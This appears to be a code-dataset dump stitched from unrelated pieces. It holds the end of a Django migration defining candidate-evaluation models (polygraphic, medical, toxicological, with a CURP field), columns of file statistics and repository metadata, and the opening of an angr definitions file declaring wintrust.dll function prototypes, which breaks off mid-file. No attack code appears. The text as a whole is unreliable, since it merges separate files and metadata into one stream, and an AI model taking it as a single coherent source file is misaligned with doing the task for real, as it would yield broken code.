name='Polygraphic',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('status', models.CharField(choices=[('created', 'created'), ('started', 'started'), ('finished', 'finished')], default='created', max_length=255)),
('result', models.TextField(blank=True, default='')),
('passed', models.BooleanField(blank=True, null=True)),
('started_at', models.DateTimeField(blank=True, null=True)),
('finished_at', models.DateTimeField(blank=True, null=True)),
('eval_data', models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='polygraphic_eval', to='drf_schemas.Item')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Medical',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('status', models.CharField(choices=[('created', 'created'), ('started', 'started'), ('finished', 'finished')], default='created', max_length=255)),
('result', models.TextField(blank=True, default='')),
('passed', models.BooleanField(blank=True, null=True)),
('started_at', models.DateTimeField(blank=True, null=True)),
('finished_at', models.DateTimeField(blank=True, null=True)),
('eval_data', models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='medical_eval', to='drf_schemas.Item')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Evaluation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('type', models.CharField(choices=[('ordinary', 'ordinary'), ('extra', 'extra'), ('repeat', 'repeat')], default='ordinary', max_length=255)),
('scheduled_at', models.DateTimeField(blank=True, null=True)),
('application', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='evaluation', to='api.Application')),
('medical', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='evaluation', to='api.Medical')),
('polygraphic', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='evaluation', to='api.Polygraphic')),
('psychological', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='evaluation', to='api.Psychological')),
('socioeconomic', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='evaluation', to='api.Socioeconomic')),
('toxicological', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='evaluation', to='api.Toxicological')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Candidate',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('name', models.CharField(max_length=255)),
('last_name', models.CharField(max_length=255)),
('curp', models.CharField(max_length=255)),
('image', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='candidate', to='api.Image')),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='application',
name='candidate',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='applications', to='api.Candidate'),
),
migrations.AddField(
model_name='application',
name='corporation',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='applications', to='api.Corporation'),
),
migrations.AddField(
model_name='application',
name='dependency',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='applications', to='api.Dependency'),
),
migrations.AddField(
model_name='application',
name='position',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='applications', to='api.Position'),
),
migrations.AddField(
model_name='application',
name='secondment',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='applications', to='api.Secondment'),
),
migrations.CreateModel(
name='Alert',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('info', models.TextField()),
('section', models.CharField(choices=[('socioeconomic', 'socioeconomic'), ('medical', 'medical'), ('polygraphic', 'polygraphic'), ('psychological', 'psychological'), ('toxicological', 'toxicological')], max_length=64)),
('evaluation', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='alerts', to='api.Evaluation')),
],
options={
'abstract': False,
},
),
]
| 55.2
| 235
| 0.575692
| 1,443
| 15,180
| 5.895357
| 0.085932
| 0.041378
| 0.108616
| 0.088163
| 0.834842
| 0.810039
| 0.751499
| 0.733631
| 0.733631
| 0.733631
| 0
| 0.006857
| 0.269829
| 15,180
| 274
| 236
| 55.40146
| 0.760646
| 0.002964
| 0
| 0.681648
| 1
| 0
| 0.156677
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.022472
| 0.007491
| 0
| 0.022472
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
41fc38591cc5cd392b4c419721267ba95bab30ba
| 169,418
|
py
|
Python
|
angr/procedures/definitions/win32_wintrust.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
angr/procedures/definitions/win32_wintrust.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
angr/procedures/definitions/win32_wintrust.py
|
r4b3rt/angr
|
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
|
[
"BSD-2-Clause"
] | null | null | null |
# pylint:disable=line-too-long
import logging
from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool
from ...calling_conventions import SimCCStdcall, SimCCMicrosoftAMD64
from .. import SIM_PROCEDURES as P
from . import SimLibrary
_l = logging.getLogger(name=__name__)
lib = SimLibrary()
lib.set_default_cc('X86', SimCCStdcall)
lib.set_default_cc('AMD64', SimCCMicrosoftAMD64)
lib.set_library_names("wintrust.dll")
prototypes = \
{
#
'FindCertsByIssuer': SimTypeFunction([SimTypePointer(SimStruct({"cCerts": SimTypeInt(signed=False, label="UInt32"), "certs": SimTypePointer(SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), offset=0), "keyLocatorInfo": SimStruct({"pwszContainerName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszProvName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwProvType": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="CRYPT_KEY_FLAGS"), "cProvParam": SimTypeInt(signed=False, label="UInt32"), "rgProvParam": SimTypePointer(SimStruct({"dwParam": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbData": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_KEY_PROV_PARAM", pack=False, align=None), offset=0), "dwKeySpec": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_KEY_PROV_INFO", pack=False, align=None)}, name="CERT_CHAIN", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pCertChains", "pcbCertChains", "pcCertChains", "pbEncodedIssuerName", "cbEncodedIssuerName", "pwszPurpose", "dwKeySpec"]),
#
'CryptSIPGetSignedDataMsg': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="CERT_QUERY_ENCODING_TYPE"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjectInfo", "pdwEncodingType", "dwIndex", "pcbSignedDataMsg", "pbSignedDataMsg"]),
#
'CryptSIPPutSignedDataMsg': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="CERT_QUERY_ENCODING_TYPE"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjectInfo", "dwEncodingType", "pdwIndex", "cbSignedDataMsg", "pbSignedDataMsg"]),
#
'CryptSIPCreateIndirectData': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjectInfo", "pcbIndirectData", "pIndirectData"]),
#
'CryptSIPVerifyIndirectData': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjectInfo", "pIndirectData"]),
#
'CryptSIPRemoveSignedDataMsg': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjectInfo", "dwIndex"]),
#
'CryptSIPGetCaps': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwVersion": SimTypeInt(signed=False, label="UInt32"), "isMultiSign": SimTypeInt(signed=True, label="Int32"), "Anonymous": SimUnion({"dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="<anon>", label="None")}, name="SIP_CAP_SET_V3", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjInfo", "pCaps"]),
#
'CryptSIPGetSealedDigest': SimTypeFunction([SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pgSubjectType": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwsFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwsDisplayName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwReserved1": SimTypeInt(signed=False, label="UInt32"), "dwIntVersion": SimTypeInt(signed=False, label="UInt32"), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "dwFlags": SimTypeInt(signed=False, label="UInt32"), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "dwReserved2": SimTypeInt(signed=False, label="UInt32"), "fdwCAPISettings": SimTypeInt(signed=False, label="UInt32"), "fdwSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwUnionChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"psFlat": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_FLAT"), offset=0), "psCatMember": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_CATALOGMEMBER"), offset=0), "psBlob": SimTypePointer(SimTypeBottom(label="MS_ADDINFO_BLOB"), offset=0)}, name="<anon>", label="None"), "pClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="SIP_SUBJECTINFO", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Byte"), label="LPArray", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), label="LPArray", offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pSubjectInfo", "pSig", "dwSig", "pbDigest", "pcbDigest"]),
#
'CryptCATOpen': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="CRYPTCAT_OPEN_FLAGS"), SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), SimTypeInt(signed=False, label="CRYPTCAT_VERSION"), SimTypeInt(signed=False, label="UInt32")], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["pwszFileName", "fdwOpenFlags", "hProv", "dwPublicVersion", "dwEncodingType"]),
#
'CryptCATClose': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatalog"]),
#
'CryptCATStoreFromHandle': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "dwPublicVersion": SimTypeInt(signed=False, label="UInt32"), "pwszP7File": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "fdwStoreFlags": SimTypeInt(signed=False, label="CRYPTCAT_OPEN_FLAGS"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "hAttrs": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "hCryptMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "hSorted": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATSTORE", pack=False, align=None), offset=0), arg_names=["hCatalog"]),
#
'CryptCATHandleFromStore': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "dwPublicVersion": SimTypeInt(signed=False, label="UInt32"), "pwszP7File": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "dwEncodingType": SimTypeInt(signed=False, label="UInt32"), "fdwStoreFlags": SimTypeInt(signed=False, label="CRYPTCAT_OPEN_FLAGS"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "hAttrs": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "hCryptMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "hSorted": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATSTORE", pack=False, align=None), offset=0)], SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), arg_names=["pCatStore"]),
#
'CryptCATPersistStore': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["hCatalog"]),
#
'CryptCATGetCatAttrInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["hCatalog", "pwszReferenceTag"]),
#
